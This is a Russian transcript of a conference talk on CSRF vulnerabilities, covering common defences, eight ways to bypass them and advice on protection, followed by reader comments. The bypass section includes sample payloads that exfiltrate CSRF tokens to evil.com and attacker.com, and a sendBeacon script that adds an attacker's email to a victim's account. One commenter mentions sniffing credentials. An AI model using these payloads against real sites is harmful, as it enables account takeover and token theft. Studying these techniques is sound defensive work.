CSRF (Сross Site Request Forgery) в переводе на русский — это подделка межсайтовых запросов. Михаил Егоров (0ang3el) в своем докладе на Highload++ 2017 рассказал о CSRF-уязвимостях, о том, какие обычно используются механизмы защиты, а также как их все равно можно обойти. А в конце вывел ряд советов о том, как правильно защищаться от CSRF-атак. Под катом расшифровка этого выступления.


О спикере: Михаил Егоров работает в компании Ingram Micro Cloud и занимается Application security. В свободное время Михаил занимается поиском уязвимостей и Bug hunting и выступает на security-конференциях

Дисклаймер: приведенная информация является сугубо мнением автора, все совпадения случайны.


В том, что CSRF-атаки работают виноват этот Cookie-монстр. Дело в том, что многие веб-приложения используют куки (здесь и далее считаем уместным называть cookies по-русски) для управления сессией пользователя. Браузер устроен так, что, если у него есть куки пользователя для данного домена и пути, он их автоматически отправляет вместе с HTTP-запросом.

Cookies


Куки — это небольшой фрагмент данных, который веб-сервер отправляет клиенту в виде name=value в HTTP-заголовке c названием «Set-Cookie». Браузер хранит эти данные на компьютере пользователя, и всякий раз при необходимости пересылает этот фрагмент данных веб-серверу в составе HTTP-запроса в HTTP-заголовке с названием «Cookie».

Куки могут иметь различные атрибуты, такие как: expires, domain, secure, httponly:

Впервые куки появились в браузере Netscape в далеком 1994 году. До сих пор многие веб-приложения используют их для управления сессией пользователя.


Рассмотрим, как работает классическая Сross Site Request Forgery (CSRF) атака.

Допустим, в нашем веб-приложении есть возможность изменять адрес доставки у пользователя, и оно использует куки для управления сессией.

У нас есть HTML-форма, которую пользователь должен заполнить: ввести адрес и нажать кнопку «Сохранить». В результате в бэкенд полетит POST-запрос с HTML-формой. Мы видим, что браузер автоматически поставил туда сессионные куки пользователя. Бэкенд, когда получит такой запрос, посмотрит, что есть такая сессия, это легитимный пользователь, и изменит ему адрес доставки.

Что может сделать атакующий?


Он может на своем сайте attacker.com разместить такую HTML-страничку, которая на самом деле сабмитит HTML-форму на сайт example.com. Так как браузер автоматически вставляет куки пользователя в HTTP-запрос, то бэкенд просто не поймет, является ли данный запрос легитимным — результат ли это заполнения формы пользователем, или это CSRF-атака — и поменяет адрес доставки для пользователя на значение, которое выгодно для атакующего.

Есть другой вариант CSRF-атаки с использованием XHR API. Если о CSRF-атаке с использованием HTML-форм слышали многие, то о данном способе знают меньше, но он тоже работает.


Обратите внимание на атрибут withCredentials, который заставляет браузер автоматически отправлять куки пользователя. Так как значение Content-type равно application/x-www-form-urlencoded, то браузер данный запрос отправит без CORS options preflight request, и опять CSRF-атака будет работать.

Рассмотрим более наглядно, как это происходит.


Исходные данные:

  • приложение example.com, которое уязвимо к CSRF,
  • пользователь,
  • сайт атакующего, где есть страничка csrf-xhr.html.

Пользователь аутентифицирован в приложении, которое находится на example.com. Если он зайдет на сайт атакующего, то автоматически выполнится POST-запрос, который поменяет адрес доставки. Браузер автоматически вставит сессионные куки в запрос и бэкенд поменяет адрес.

История CSRF-атак


Вообще о CSRF-атаках известно с 2001 года, когда их начали активно эксплуатировать. В период 2008-2012 такие уязвимости были на каждом первом сайте, в том числе:

  1. YouTube;
  2. The New York Times;
  3. Badoo;
  4. Slideshare;
  5. Vimeo;
  6. Hulu;
  7. КиноПоиск;


Насколько серьезны CSRF-уязвимости?


На самом деле, все зависит от критичности уязвимого действия. Это может быть:

  • Account takeover — атакующий захватывает аккаунт жертвы путем смены email через CSRF.
  • Privilege Escalation — повышение привилегий за счет того, что атакующий через CSRF создает нового пользователя с высокими правами в системе.
  • Remote code execution — выполнение кода за счет эксплуатации command injection в админке через CSRF.

Обратимся к тому, что говорят международные устоявшиеся классификации уязвимостей по поводу серьезности CSRF.

В проекте OWASP Top 10, который содержит 10 наиболее критичных уязвимостей в приложении, в 2010 году CSRF-уязвимости находились на 5 месте. Потом разработчики начали имплементировать различные варианты защиты и уже в 2013 году CSRF-уязвимости сместились на 8 позицию.

В список за 2017 год CSRF-уязвимости вообще не вошли, потому что якобы по статистике сейчас при penetration-тестировании они находятся только в 8% случаев.

Лично я не согласен с данной статистикой, потому что буквально за последние два года находил много CSRF-уязвимостей. Дальше я расскажу, как я это делал.

В классификации Bugcrowd VRT (Vulnerability Rating Taxonomy) Application-wide CSRF-уязвимости имеют рейтинг severity P2 (High). Выше только severity critical, то есть это достаточно серьезные уязвимости.


Рассмотрим, какие варианты защиты от CSRF существуют и как работает каждый из вариантов защиты.

1. CSRF token
  • Для каждой пользовательской сессии генерируется уникальный и высокоэнтропийный токен.
  • Токен вставляется в DOM HTML страницы или отдается пользователю через API.
  • Пользователь с каждым запросом, связанным с какими-либо изменениями, должен отправить токен в параметре или в HTTP-заголовке запроса.
  • Так как атакующий не знает токен, то классическая CSRF-атака не работает.

2. Double submit cookie
  • Опять генерируется уникальный и высокоэнтропийный токен для каждой пользовательской сессии, но он помещается в куки.
  • Пользователь должен в запросе передать одинаковые значения в куках и в параметре запроса.
  • Если эти два значения совпадают в куках и в параметре, то считается, что это легитимный запрос.
  • Так как атакующий просто так не может изменить куки в браузере пользователя, то классическая CSRF-атака не работает.

3. Content-Type based protection
  • Пользователь должен отправить запрос с определенным заголовком Content-Type, например, application/json.
  • Так как в браузере через HTML форму или XHR API невозможно отправить произвольный Content-Type cross-origin, то классическая CSRF-атака опять не работает.

4. Referer-based protection
  • Пользователь должен отправить запрос с определенным значением заголовка Referer. Бэкенд его проверяет, если он неверный, то считается, что это CSRF-атака.
  • Так как браузер не может отправить произвольный Referer через HTML форму или XHR API, то классическая CSRF-атака не работает.

5. Password confirmation / websudo
  • Пользователь должен подтверждать действие с помощью пароля (или секрета).
  • Так как атакующий его не знает, то классическая CSRF-атака не работает.

6. SameSite Cookies в Chrome, Opera
Это новая технология, которая призвана защитить от CSRF. В данный момент она работает только в двух браузерах (Chrome, Opera).

  • У куки устанавливается дополнительный атрибут — samesite, который может иметь два значения: lax или strict.
  • Суть технологии в том, что браузер не отправляет куки, если запрос осуществляется с другого домена, например, с сайта атакующего. Таким образом это опять защищает от классической CSRF-атаки.

Но, к сожалению, везде есть особенности работы браузеров, веб-приложений и их деплоймента, которые иногда позволяют обходить CSRF защиты.

Поэтому, теперь давайте поговорим о 8 способах обхода защиты, которые можно использовать на практике.


Сценарии обхода:


1. XSS (cross-sitescripting)

Если в вашем веб-приложении есть XSS, то это автоматически делает его уязвимым к CSRF, и от этого сложно защититься. Можно только смириться.

2. Dangling markup

Допустим, в нашем приложении есть уязвимость к HTML injection, но нет XSS. Например, есть Content Security Policy (CSP), которая защищает от XSS. Но атакующий все равно может внедрять HTML теги.

Если в нашем приложении реализована защита, основанная на CSRF-токенах, атакующий может внедрить такой HTML, это не закрытые теги image или form:

<img src='https://evil.com/log_csrf?html=
<form action='http://evil.com/log_csrf'><textarea> 

В результате часть DOM HTML страницы будет отправлена на ресурс атакующего. Высока вероятность того, что если атакующий правильно внедрит такой HTML, тогда то, что придет на сайт атакующего, будет содержать CSRF-токен.

Таким образом узнав токен, атакующий сможет эксплуатировать CSRF классическим способом.

3. Уязвимый субдомен

Допустим, у нас есть субдомен foo.example.com, и он уязвим к subdomain takeover или XSS. В результате subdomain takeover, атакующий полностью контролирует субдомен и может добавлять туда любые HTML-странички или выполнять JS-код в контексте субдомена. Если наш субдомен уязвим к таким вещам, то атакующий сможет обойти следующие типы CSRF-защиты:

  • CSRF tokens;
  • Double submit cookie;
  • Content-Type based protection.

Допустим, наше основное приложение использует CORS (Cross-Origin Resource Sharing) для междоменного взаимодействия. В ответ сервера вставляются два заголовка:

  1. Access-Control-Allow-Origin: foo.example.com (foo.example.com — уязвимый субдомен);
  2. Access-Control-Allow-Credentials: true — чтобы с помощью XHR API можно было сделать запрос с куками пользователя.

Если выполнены эти условия, атакующий просто сможет прочитать CSRF-токен из субдомена, который он контролирует, и дальше эксплуатировать CSRF классическим способом.

Следующий вариант. Допустим, на основном домене, который мы хотим атаковать, есть файл crossdomain.xml. Этот файл используется flash- и PDF-плагинами для субдоменного взаимодействия, и к нему разрешен доступ с любых субдоменов.

<cross-domain-policy>
    <allow-access-from domain="*.example.com" />
</cross-domain-policy>

Если атакующий может загрузить JS-файл на foo.example.com, то в этом случае он может использовать Service Worker API для субдомена foo.example.com, который на самом деле отдает flash-файл.

var url = "https://attacker.com/bad.swf"; 
onfetch = (e) => { 
   e.respondWith(fetch(url); 
}

Так как у нас есть crossdomain.xml на основном домене, который разрешает взаимодействие субдоменов, то атакующий через этот SWF просто читает CSRF токен.

Кстати, подобная уязвимость недавно была найдена в Amazon, подробнее здесь.

Даже если не сконфигурирован CORS и нет файла crossdomain.xml, но используется защита Double submit cookie, атакующий может просто вставлять куки с субдомена для родительского домена на путь, где он хочет эксплуатировать CSRF, и таким образом обойти Double submit cookie защиту.

4. Bad PDF

Этот сценарий обхода основан на PDF. В Adobe есть PDF плагин, который автоматически устанавливается при установке Adobe Reader. Этот плагин поддерживает так называемый FormCalc скрипт. Правда, сейчас PDF плагин от Adobe работает только в IE11 и Firefox ESR.

В FormCalc есть два замечательных метода: get() и post(). Атакующий с помощью метода get может прочитать CSRF токен, с помощью post отправить к себе на сайт. Так атакующий получает CSRF-токен жертвы.

Допустим, у нас есть возможность загрузить PDF-файл в веб-приложение. На самом деле это может быть даже файл другого формата, например, атакующий может попытаться загрузить PDF под видом картинки, которая является аватаром пользователя.

У приложения есть некоторый API на основном домене, который позволяет получать содержимое загруженного файла. Тогда атакующий может использовать такую HTML страничку, которая с помощью тега embed встраивает PDF-файл, который атакующий загрузил на example.com.

<h1>Nothing to see here!</h1> 
<embed src="https://example.com/shard/x1/sh/leak.pdf" width="0" height="0" type='application/pdf'>

Файл leak.pdf:


Этот файл содержит FormCalc скрипт, который как раз читает страницу Settings.action, где в DOM есть CSRF токен и отправляет с помощью метода post на сайт атакующего.

Так как PDF загружается с сайта example.com, то сам этот PDF имеет доступ полностью ко всему origin https://example.com, и может оттуда читать данные, не нарушая режим Same Origin Policy (SOP).

Дополнительный фокус в том, что для PDF плагина не важно, с каким Content-Type отдается PDF-файл, и даже в HTTP-ответе могут присутствовать другие заголовки (например, Content-Disposition). PDF плагин все равно будет рендерить этот PDF и выполнять FormCalc скрипт.

5. Cookie injection

Если используется Double submit cookie защита, то если атакующий сможет каким-либо образом внедрить куки, то это game over.

Один из наиболее популярных вариантов в этом сценарии — это CRLFinjection.

Если атакующий может вставлять в ответ сервера дополнительные заголовки, то он просто может добавить заголовок Set-Cookie с нужными куками и обойти CSRF-защиту.

Другой вариант связан с особенностями обработки куков браузером.

Например, в Safari можно через запятую вставлять новые куки (comma-separated cookies). Допустим, у нас есть URL-параметр в заголовке с именем language. Мы его обрабатываем и записываем пользователю в куки выбранное значение language. Если атакующий вставит запятую, то он может вставить и дополнительные куки с любым именем.

Также в обходе CSRF-защиты могут посодействовать баги браузера. Например, в Firefox была возможность внедрять куки через SVG-картинку (CVE-2016-9078). Если у нас есть HTML-редактор и мы разрешаем пользователю вставлять image-теги, то атакующий может просто в SRC-атрибуте указать на SVG-картинку, которая установит нужные куки.

6. Change Content-Type
Некоторые разработчики считают, что если используется нестандартный формат данных в теле POST-запроса для общения с бэкендом, то это может спасти от CSRF. На самом деле это не так.

В качестве примера приведу уязвимость, которую я недавно нашел в одном очень популярном сервисе по управлению заметками.

Там использовался API, который использует Apache Thrift (бинарный формат данных) и куки для управления сессией. Допустим, чтобы добавить новую заметку, пользователь должен был отправить такой POST-запрос. В теле передавались бинарные данные и указывался Content-Type: application/x-thrift.

POST /user/add/note HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://example.com
Cookie: JSESSIONID=728FAA7F23EE00B0EDD56D1E220C011E.jvmroute8081;
Connection: close
Content-Type: application/x-thrift
Content-Length: 43

На самом же деле в бэкенде этот Content-Type не валидировался. Можно было его поменять на text/plain и с помощью XHR API эксплуатировать эту CSRF-уязвимость, просто передав бинарные данные в теле POST-запроса.


На самом деле защита, основанная на Content-Type — это очень плохой вариант защиты. Он в большинстве случаев обходится.

7. Non-simple Content-Type

Через HTML-форму или с помощью XHR API мы можем отправить следующие content types:

  • text/plain;
  • application/x-www-form-urlencoded;
  • multipart/form-data.

На самом деле есть возможность отправлять любые значения Content-Type через:

  • баги в браузерах (например, Navigator.sendBeacon);
  • плагины: Flash plugin + 307 redirect и PDF plugin + 307 redirect;
  • фреймворки на бэкэнде.

Некоторые фреймворки, например, JAX-RS фреймворк Apache CXF поддерживает в URL параметр с именем ctype. В этом параметре можно указать любой Content-Type, бэкенд посмотрит на этот параметр и будет его использовать вместо Content-Type, которые передается в header (ссылка на источник).

Довольно известный баг в браузере Chrome был найден в 2015 году, после этого примерно через месяц попал в публичный доступ, но был исправлен только в 2017 году. Этот баг позволял отправлять POST-запрос с любым Content-Type на другой origin с помощью API, которое называется Navigator.sendBeacon().
Как выглядела эксплуатация?

<script> 
 function jsonreq() { 
  var data = '{"action":"add-user-email","Email":"attacker@evil.com"}'; 
  var blob = new Blob([data], {type : 'application/json;charset=utf-8'}); 
  navigator.sendBeacon('https://example.com/home/rpc', blob ); 
 } 
 jsonreq(); 
</script>

Мы создаем новый blob с нужным Content-Type и просто отправляем его с помощью Navigator.sendBeacon().

Еще один сценарий обхода, который до сих пор работает и поддерживается в браузерах — обход с помощью flash-плагина.


Даже есть сайт thehackerblog.com, где уже есть готовая флэшка, вы просто указываете URL, header, нужный Content-Type и данные, которые надо передать — отправляете, и в бэкенд улетает POST-запрос с нужным Content-Type.

Но есть одна хитрость — нельзя просто указать URL сайта, который мы атакуем. Нужно указать ресурс, который сделает redirect с кодом 307 на ресурс, который мы атакуем. Тогда это будет работать.

8. Spoof Referer

Последний вариант обхода защиты от CSRF основан на Referer. Есть баг в Microsoft Edge браузере, который до сих пор не исправлен и позволяет подделывать значение Referer. Но он работает, к сожалению, только для GET-запросов. Если атакуемый бэкенд не отличает GET от POST, то этот баг можно эксплуатировать.

Если все же нам надо POST, то есть небольшая хитрость. Мы можем отправить header Referer с помощью PDF плагина и FormCalc.


Где-то год назад можно было с помощью PDF плагина отправлять вообще любые header’ы, в том числе host, но потом Adobe закрыл эту возможность создав черный список header’ов. То есть если мы укажем Referer в заголовке, то этот заголовок просто не отправится.

Вообще FormCalc позволяет нам легально отправлять любой Content-Type. Если мы будем вставлять символы carridge return и line feed, то сможем добавлять в запрос дополнительные header’ы.

Что будет, если мы внедрим header Referer http://example.com?

Понятно, что он не находится в черном списке и в бэкенд будет отправлен header с именем Referer http://example.com.

Некоторые серверы, например, WildFly или Jboss, воспринимают пробел как конец имени HTTP-заголовка, то есть двоеточие `:`. Таким образом такие сервера увидят, что к ним пришел Referer со значением http://example.com. Таким образом мы подменим Referer.


Это итоговая таблица. В столбцах представлены варианты защиты от CSRF, а в строках — методы обхода. В каждой ячейке указаны браузеры, в которых работает этот метод:

  • All означает, что для всех браузеров;
  • All* означает браузеры, которые не поддерживают SameSite Cookies, т.е. все кроме Chrome и Opera.



Наиболее кардинальный и работающий вариант защититься от CSRF-атак — это избавиться от куков и использовать header с токенами.

Но если вы все-таки не готовы отказаться от куков для управления пользовательской сессией:

  • Моделируйте угрозы и проверяйте реализацию CSRF-защиты (см. Итоговую таблицу).
  • Имплементируйте SameSite Cookies. Сейчас только два браузера поддерживают, но в дальнейшем, наверное, их будет больше.
  • Комбинируйте различные CSRF-защиты — defense in depth.
  • Спрашивайте у пользователя пароль для выполнения критичных действий.
  • Отдавайте загружаемые пользователем файлы с отдельного домена.

Не прошло и полугода, а следующий хайлоад уже через месяц — Highload++ Siberia.

Хотим привлечь ваше внимание к некоторым из отобранных докладов:


Комментарии (17)


  1. hMartin
    04.06.2018 11:57
    +1

    На Хабре в 2013 была CSRF уязвимость, регулярка проверки реферера была немного кривая и смотрела только вхождение habrahabr.ru/, я зарегал домен ~ hhabrahabr.ru и продемонстрировал поддержке как можно крутить карму :)

    Еще у Мейлру была аналогичная проблема, у них на главной странице было/есть закрытое апи, определяющее залогиненность пользователя по кукам, там тоже был косяк в регулярке и можно было чекать на своем хосте залогинен ли посетитель в мире/мылору и его ФИО. Сдал тогда проблему их пиарщику, не в курсе, починили ли.


  1. w9w
    04.06.2018 13:18

    «В результате часть DOM HTML страницы будет отправлена на ресурс атакующего. Высока вероятность того, что если атакующий правильно внедрит такой HTML, тогда то, что придет на сайт атакующего, будет содержать CSRF-токен.»
    А не проще встроить скрипт js сниффера на страницу и прислать полный исходный код себе в логи? Часто получаю логины, пароли, api токены и куки (которые на httponly) из исходника. Например ">


    1. everythingIsPossible
      04.06.2018 14:54

      Подскажите, это опечатка и в скобках должно быть «которые не httponly» или http-only куки тоже может кто-то сниффером утянуть?


  1. mayorovp
    04.06.2018 13:36

    «Можно только смириться» — не совсем точный термин. На самом деле есть способы «спрятать» токен даже от скрипта выполняющегося на той же странице — «всего-то» и нужно заранее спрятать все глобальные объекты и их методы в локальных переменных замыкания, и токен засунуть туда же, а скрипт в котором все это содержится — удалить из DOM.

    Проблема в том, что при наличии XSS злоумышленнику уже не нужна CSRF-атака :-)


  1. interprise
    04.06.2018 14:06

    А есть 100% (кроме xss, тут уже ничего не поможет) защита, кроме генерации токена каждый запрос?


    1. devalone
      04.06.2018 14:15

      токены в хедере вроде Authorization?


      1. interprise
        04.06.2018 14:16

        да, пожалуй, тоже отличный подход. Есть минусы?


        1. devalone
          04.06.2018 14:20

          Я не представляю, как сделать серверный рендеринг страниц, зависящих от пользователя, вроде списка моих комментариев, например, но оно вроде и не надо особо.


  1. demimurych
    04.06.2018 14:48

    Исходный посыл о том что во всем виноваты Cookies (особенности протокола http) как бы слегка передергивание. Виноваты программисты которые не понимают (не знают) как правильно программировать сервисы где бы атакующий не мог использовать подобный вектор атаки.

    И делать заявления сродни «не используйте cokkie для сессий», это тоже самое что говорить — «не используйте лопату для капания ям — так вы точно не стукните ей себя по ноге». Вместо того чтобы объяснить и научить как пользоваться лопатой.


    1. johnfound
      04.06.2018 19:50

      Это конечно так, только инструменты тоже надо быть безопасными. Если наступы на лопате не отогнуты, учи не учи, а ботинки все равно порвешь.


  1. maxfox
    05.06.2018 06:26

    Судя по табличке в конце, проблемой является XSS, а не CSRF. Доступ к поддомену — это довольно специфический случай (ну, мне так кажется), остается XSS и HTML injection. Остальное решается токенами, готовые реализации которых есть, наверное, для всех порядочных фреймворков.
    Так что, по сути, доклад про опасность XSS… Ну и довольно странный наезд на cookies — а какие есть альтернативы использованию cookies, при этом устойчивые к XSS? Если какие-то варианты и вправду существуют, интересно было бы послушать.
    Но мне кажется, проблему стоит искать в архитекутуре веб-платформы, позволяющей исполнение любого js, который удастся подпихнуть браузеру. Правда, тут уже поздно что-либо менять…


  1. DimNS
    05.06.2018 12:36

    Наиболее кардинальный и работающий вариант защититься от CSRF-атак — это избавиться от куков и использовать header с токенами.

    О, я как раз так и делаю, всё общение с сервером выполняется через API, при каждом запросе подставляется токен, который хранится в локальных хранилищах браузера (используется либа localForage), я правильно понимаю, что я молодец?

    Почему намекнули про кардинальное решение, но не описали его поподробнее?


    1. y4ppieflu
      06.06.2018 17:04

      Но у localstorage нет httponly, т.е. при налчии XSS, токен легко украсть. Как по мне, куки для хранения сессионного идентификатора надежнее. С CSRF лучше бороться другими методами.


      1. DimNS
        06.06.2018 18:47
        -1

        Ммм не знал, спасибо.

        Вот я и говорю, написано что надо избавиться от кук и перейти на header, как это сделать правильно, чтобы при наличии XSS токен не могли легко украсть.

        А в принципе, раз в localstorage есть проблемы, тогда получается что если хранить токен в куках, а можно его с помощью либы github.com/js-cookie/js-cookie вытаскивать и отправлять в header, в таком виде всё гуд? Или я тут напридумывал непонятно что?


        1. mayorovp
          06.06.2018 20:19

          Проблема тут очень простая. Идентификатор сессии или токен отправляется либо самим браузером, либо скриптом — третьего не дано.

          В первом случае он подвержен CSRF, во втором — краже через XSS.


          1. vintage
            07.06.2018 06:43

            Третее: и браузером, и скриптом, каждый свой токен.


            1. mayorovp
              07.06.2018 06:46

              Тогда первый токен подвержен CSRF, а второй угоняется через XSS :-)